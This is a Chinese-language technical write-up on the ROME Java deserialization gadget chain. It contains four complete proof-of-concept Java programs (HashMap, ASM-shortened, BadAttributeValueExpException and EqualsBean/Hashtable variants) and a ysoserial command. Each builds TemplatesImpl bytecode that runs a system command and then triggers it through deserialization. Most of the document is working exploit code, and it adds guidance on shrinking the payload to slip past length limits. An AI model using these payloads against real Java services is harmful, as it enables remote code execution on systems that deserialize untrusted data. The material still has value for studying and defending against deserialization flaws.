ROEM链及其缩短链
字数 2340 2025-08-29 08:32:19
ROME反序列化漏洞分析与利用
1. 前置知识
1.1 ObjectBean类
com.sun.syndication.feed.impl.ObjectBean是ROME提供的一个封装类型:
- 初始化时需要提供一个Class类型和一个Object对象实例进行封装
- 包含三个重要成员变量:
EqualsBeanToStringBeanCloneableBean
- 这些成员变量为ObjectBean提供了
equals、toString、clone以及hashCode方法
关键点:
- 在
ObjectBean#hashCode中会调用EqualsBean类的beanHashCode方法 - 该方法会调用
_obj成员变量的toString方法,这是漏洞触发的关键点
1.2 ToStringBean类
com.sun.syndication.feed.impl.ToStringBean是为对象提供toString方法的类:
- 包含两个
toString方法:- 无参方法:获取调用链中上一个类或
_obj属性中保存对象的类名,并调用第二个toString方法 - 带参方法:使用
BeanIntrospector#getPropertyDescriptors获取_beanClass的所有getter和setter方法
- 判断参数长度,长度等于0的方法会使用
_obj实例进行反射调用 - 通过这个点可以触发
TemplatesImpl的利用链
- 无参方法:获取调用链中上一个类或
2. 基础利用链分析
2.1 完整POC代码
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class Rome_POC {
// 序列化操作工具
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
String bytesOfBase = Base64.getEncoder().encodeToString(bytes);
return bytesOfBase;
}
// 反序列化操作工具
public static void unserialize(String bytesOfBase) throws IOException, ClassNotFoundException {
byte[] bytes = Base64.getDecoder().decode(bytesOfBase);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objInput = new ObjectInputStream(byteArrayInputStream);
objInput.readObject();
}
// 为类的属性设置值的工具
public static void setFieldVlue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// payload的生成
public static void exp() throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
// 生成恶意的bytecodes
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evilexp");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
// 因为在TemplatesImp类中的构造函数中,_bytecodes为二维数组
byte[][] bytes1 = new byte[][]{bytes};
// 创建TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();
setFieldVlue(templates, "_name", "RoboTerh");
setFieldVlue(templates, "_bytecodes", bytes1);
setFieldVlue(templates, "_tfactory", new TransformerFactoryImpl());
// 封装一个无害的类并放入Map中
ObjectBean roboTerh = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "RoboTerh"));
HashMap hashmap = new HashMap();
hashmap.put(roboTerh, "RoboTerh");
// 通过反射写入恶意类进入map中
ObjectBean objectBean = new ObjectBean(Templates.class, templates);
setFieldVlue(roboTerh, "_equalsBean", new EqualsBean(ObjectBean.class, objectBean));
// 生成payload并输出
String payload = serialize(hashmap);
System.out.println(payload);
// 触发payload,验证是否成功
unserialize(payload);
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
exp();
}
}
2.2 调用链分析
unserialize方法中的readObject开始反序列化- 进入
HashMap#readObject - 求key值的hash,此时Key是
ObjectBean类 HashMap#hash调用key的hashCode()方法- 进入
ObjectBean#hashCode,调用_equalsBean的beanHashCode方法 - 进入
EqualsBean#beanHashCode,_obj是ObjectBean类的对象,调用其toString方法 - 进入
ObjectBean#toString,_toStringBean属性是ToStringBean类的对象,调用其toString方法 - 进入
ToStringBean#toString,获取所有getter和setter,判断参数长度调用方法(包括getOutputProperties) - 后续进入
TemplatesImpl调用链:getOutputPropertiesnewTransformergetTransletInstancedefineTransletClasses
完整调用链:
HashMap.readObject()
ObjectBean.hashCode()
EqualsBean.beanHashCode()
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()
3. 优化与缩短payload
3.1 优化方向
- 序列化数据本身的缩小
- 针对
TemplatesImpl中_bytecodes字节码的缩小 - 执行代码的优化(STATIC代码块)
3.2 具体优化措施
-
TemplatesImpl优化:_name名称可以缩短为一个字符_tfactory属性可以删除(分析TemplatesImpl得出)EvilByteCodes类捕获异常后无需处理
-
使用ASM技术缩短字节码:
- 删除
LINENUMBER指令 - 使用
ProcessBuilder代替Runtime可以进一步缩短
- 删除
优化后POC示例:
package ysoserial.vulndemo;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Opcodes;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome_shorter2 {
public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("a");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public a(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}
// 使用asm技术继续缩短
public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException {
String path = System.getProperty("user.dir") + File.separator + "a.class";
try {
Files.write(Paths.get(path), bytes);
} catch (IOException e) {
e.printStackTrace();
}
try {
// asm删除LINENUMBER
byte[] allBytes = Files.readAllBytes(Paths.get(path));
ClassReader classReader = new ClassReader(allBytes);
ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor classVisitor = new shortClassVisitor(api, classWriter);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
classReader.accept(classVisitor, parsingOptions);
byte[] out = classWriter.toByteArray();
Files.write(Paths.get(path), out);
} catch (IOException e) {
e.printStackTrace();
}
byte[] bytes1 = Files.readAllBytes(Paths.get("a.class"));
// 删除class文件
Files.delete(Paths.get("a.class"));
return bytes1;
}
// 因为ClassVisitor是抽象类,需要继承
public static class shortClassVisitor extends ClassVisitor {
private final int api;
public shortClassVisitor(int api, ClassVisitor classVisitor){
super(api, classVisitor);
this.api = api;
}
}
// 设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String code) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(code);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{shorterTemplatesImpl(getTemplatesImpl("calc"))});
setFieldValue(templates, "_name", "a");
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean objectBean = new ObjectBean(String.class, "a");
HashMap hashMap = new HashMap();
hashMap.put(null, null);
hashMap.put(objectBean, null);
setFieldValue(objectBean, "_equalsBean", equalsBean);
String s = serialize(hashMap);
System.out.println("长度为:" + s.length());
System.out.println(s);
unserialize(s);
}
}
4. 其他利用链
4.1 BadAttributeValueExpException链
BadAttributeValueExpException类的readObject方法中:
- 读取
ObjectInputStream中的信息 - 通过
.get方法得到val的属性值 - 通过判断进入
valObj.toString()方法 - 此时
valObj是ToStringBean类,触发其toString方法
调用链:
BadAttributeValueExpException.readObject
ToStringBean.toString
TemplatesImpl.getOutputProperties
...
POC示例:
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Rome_shorter3 {
public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Evil");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}
// 设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String code) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(code);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
setFieldValue(templates, "_name", "a");
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
// 防止生成payload的时候触发漏洞
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException, "val", toStringBean);
String s = serialize(badAttributeValueExpException);
System.out.println(s);
System.out.println("长度为:" + s.length());
unserialize(s);
}
}
4.2 EqualsBean链
EqualsBean类的equals方法调用了beanEquals方法,类似于CC7的利用方式:
Hashtable#readObject中调用reconstitutionPut- 首先调用key的
hashCode方法求hash值 - 遍历判断两个hash值是否相等,相等则触发
equals方法 - 需要两个hash相等的键:
"yy"和"zZ"hash值相同
POC示例:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class RomeShorter {
// 缩短TemplatesImpl链
public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Evil");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}
// 设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String code) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(code);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
setFieldValue(templates, "_name", "a");
EqualsBean bean = new EqualsBean(String.class, "s");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templates);
map2.put("zZ", bean);
map2.put("yy", templates);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "_beanClass", Templates.class);
setFieldValue(bean, "_obj", templates);
String s = serialize(table);
System.out.println(s);
System.out.println(s.length());
unserialize(s);
}
}
使用ASM技术进一步缩短后,payload长度可以从1520缩短到1444。
5. 工具生成POC
使用ysoserial工具生成ROME链的POC:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ROME 'calc' | base64
6. 关键总结
- ROME链的核心是利用
ObjectBean或ToStringBean的toString方法触发TemplatesImpl的恶意代码执行 - 可以通过多种入口点触发(HashMap、BadAttributeValueExpException、Hashtable等)
- 优化payload的关键点:
- 缩短类名和属性名
- 删除不必要的属性(如
_tfactory) - 使用ASM技术删除调试信息
- 选择更短的命令执行方式
- 不同链的长度比较:
- 基础ROME链:>2000字符
- 优化后ROME链:~1500字符
- 使用ASM进一步优化:~1400字符
理解这些利用链的关键在于掌握Java反序列化的触发点和TemplatesImpl的利用方式,以及如何通过反射和动态字节码技术构造高效的payload。